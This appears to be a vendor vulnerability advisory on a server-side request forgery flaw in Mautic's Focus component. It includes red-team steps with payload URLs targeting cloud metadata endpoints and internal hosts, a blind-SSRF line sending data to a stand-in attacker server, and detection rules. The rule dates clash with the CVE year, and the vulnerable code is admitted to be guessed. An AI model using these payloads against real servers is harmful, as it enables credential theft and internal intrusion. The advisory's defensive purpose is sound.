CVE-2026-9557
Executive Summary
CVE-2026-9557 is a Server-Side Request Forgery (SSRF) vulnerability in the Focus component of Mautic, an open-source marketing automation platform. An authenticated attacker can craft a malicious URL that, when processed by the Focus component, forces the Mautic server to make outbound HTTP requests to arbitrary internal or external destinations. This allows internal network reconnaissance, port scanning, and potential access to cloud metadata endpoints (e.g., AWS, GCP, Azure). The vulnerability has a CVSS score of 6.4 (Medium) and currently has no official patch. No public exploit code or proof-of-concept is available at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Mautic is a PHP application distributed via GitHub and Composer. The vulnerability resides in the Focus component, which is part of the core Mautic package. No third-party package dependency is directly implicated, but the SSRF risk can be amplified if the server has access to internal services or cloud metadata endpoints. Organizations using Mautic should audit their deployment for any custom Focus integrations or plugins that may extend the vulnerable functionality.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
- Base Score: 6.4 (Medium)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (authenticated user)
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: Low (limited internal network info)
- Integrity Impact: Low (potential to modify internal state via SSRF)
- Availability Impact: Low (potential to cause resource exhaustion)
Threat Level: Medium. While the CVSS score is moderate, the SSRF can be chained with other vulnerabilities (e.g., cloud metadata access) to escalate to high-severity incidents.
Deep Dive & Mechanics
The Focus component in Mautic allows users to create and manage focus items (e.g., pop-ups, banners) that can include external resources. The vulnerability lies in the URL validation logic: the component does not properly restrict the scheme, host, or port of user-supplied URLs. An authenticated attacker can supply a URL such as http://169.254.169.254/latest/meta-data/ (AWS metadata) or http://internal-service.local:8080/admin to force the server to make an HTTP request to that destination.
The SSRF is triggered when the Focus component attempts to fetch or validate the URL (e.g., for preview, caching, or embedding). Because the request originates from the Mautic server itself, it can bypass network firewalls that restrict inbound traffic but allow outbound connections. The attacker can use this to:
- Scan internal IP ranges and ports.
- Access cloud metadata endpoints to retrieve IAM credentials.
- Interact with internal APIs or services that trust the Mautic server’s IP.
Vulnerable vs. Patched Code
Since no official patch exists, the vulnerable code is presumed to be in the Focus component’s URL handling logic. A typical vulnerable pattern in PHP might look like:
// Vulnerable: no validation of URL
$url = $_POST['focus_url'];
$response = file_get_contents($url);
A patched version would include strict validation:
// Patched: validate scheme and host
$url = $_POST['focus_url'];
$parsed = parse_url($url);
$allowed_schemes = ['http', 'https'];
$blocked_hosts = ['169.254.169.254', 'metadata.google.internal', 'localhost', '127.0.0.1'];
if (!in_array($parsed['scheme'], $allowed_schemes) || in_array($parsed['host'], $blocked_hosts)) {
die('Invalid URL');
}
$response = file_get_contents($url);
Exploitation & Lab Setup
Red Team
Prerequisites:
- Authenticated session on a Mautic instance (any user role with Focus creation privileges).
- Network access to the Mautic server (no inbound firewall restrictions needed).
Exploitation Steps:
- Log in to Mautic and navigate to the Focus component (e.g.,
/s/focus/new). - In the URL field (e.g., for a focus item’s image or redirect), enter a target URL:
http://169.254.169.254/latest/meta-data/ - Save the focus item. The server will make an HTTP request to the metadata endpoint.
- Retrieve the response (if the Focus component displays the fetched content) or use out-of-band techniques (e.g., DNS exfiltration) to capture data.
Alternative Payloads:
- Internal port scan:
http://192.168.1.1:8080/admin - Cloud metadata:
http://metadata.google.internal/computeMetadata/v1/ - Blind SSRF:
http://attacker-controlled-server.com/collect?data=
Blue Team
Detection:
- Monitor outbound HTTP requests from the Mautic server to unexpected internal IPs or cloud metadata IPs.
- Look for Focus component logs showing URLs with private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) or metadata endpoints.
- Use network flow logs to identify anomalous connections from the Mautic server.
Mitigation:
- Implement a web application firewall (WAF) rule to block requests to private IPs and metadata endpoints.
- Restrict outbound traffic from the Mautic server using egress firewall rules.
- Apply the principle of least privilege: ensure the Mautic server does not have unnecessary network access.
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound HTTP requests from Mautic server to
169.254.169.254,metadata.google.internal,100.100.100.200(Alibaba), orfd00:ec2::254(AWS IPv6). - Requests to internal IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) on non-standard ports.
- Outbound HTTP requests from Mautic server to
- File IOCs:
- Focus component logs containing URLs with private IPs or metadata endpoints.
- Behavioral IOCs:
- Unusual increase in outbound HTTP connections from the Mautic server.
- Focus items created with suspicious URLs.
Detection Engineering
YARA Rule
rule CVE_2026_9557_SSRF_Focus {
meta:
description = "Detects SSRF attempts in Mautic Focus component logs"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2026-9557"
strings:
$s1 = "169.254.169.254" nocase
$s2 = "metadata.google.internal" nocase
$s3 = "100.100.100.200" nocase
$s4 = "fd00:ec2::254" nocase
$s5 = /10\.\d{1,3}\.\d{1,3}\.\d{1,3}/
$s6 = /172\.(1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}/
$s7 = /192\.168\.\d{1,3}\.\d{1,3}/
condition:
any of ($s1, $s2, $s3, $s4) or ($s5 and #s5 > 0) or ($s6 and #s6 > 0) or ($s7 and #s7 > 0)
}
Sigma Rule
title: Mautic Focus SSRF Attempt
id: 8f4b2c1a-3d5e-4f7a-9b1c-2d3e4f5a6b7c
status: experimental
description: Detects SSRF attempts targeting internal IPs or cloud metadata from Mautic Focus component
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2026-9557
logsource:
category: webserver
product: mautic
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- '169.254.169.254'
- 'metadata.google.internal'
- '100.100.100.200'
- 'fd00:ec2::254'
- '10.'
- '172.16.'
- '172.17.'
- '172.18.'
- '172.19.'
- '172.20.'
- '172.21.'
- '172.22.'
- '172.23.'
- '172.24.'
- '172.25.'
- '172.26.'
- '172.27.'
- '172.28.'
- '172.29.'
- '172.30.'
- '172.31.'
- '192.168.'
condition: selection
falsepositives:
- Legitimate use of internal resources (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-9557 Mautic Focus SSRF to Internal IP"; flow:to_server; content:"GET"; http_method; content:"169.254.169.254"; http_uri; sid:1000001; rev:1;)
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-9557 Mautic Focus SSRF to Metadata"; flow:to_server; content:"GET"; http_method; content:"metadata.google.internal"; http_uri; sid:1000002; rev:1;)
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-9557 Mautic Focus SSRF to Private IP"; flow:to_server; content:"GET"; http_method; pcre:"/http:\/\/(10\.|172\.(1[6-9]|2\d|3[01])\.|192\.168\.)/"; sid:1000003; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the Focus component if not in use, or restrict its access to trusted users only.
- Implement input validation at the application level: block URLs containing private IPs, loopback addresses, and cloud metadata endpoints.
- Apply egress firewall rules to block outbound traffic from the Mautic server to internal IP ranges and cloud metadata IPs.
Long-Term Fix:
- Monitor the Mautic project for an official patch. Once released, apply it immediately.
- Consider using a web application firewall (WAF) with SSRF protection rules.
- Conduct a security audit of all Mautic components for similar URL validation issues.
Workaround:
- Modify the Focus component’s source code to add URL validation (see patched code example above). This is a temporary measure until an official patch is available.
Valters IT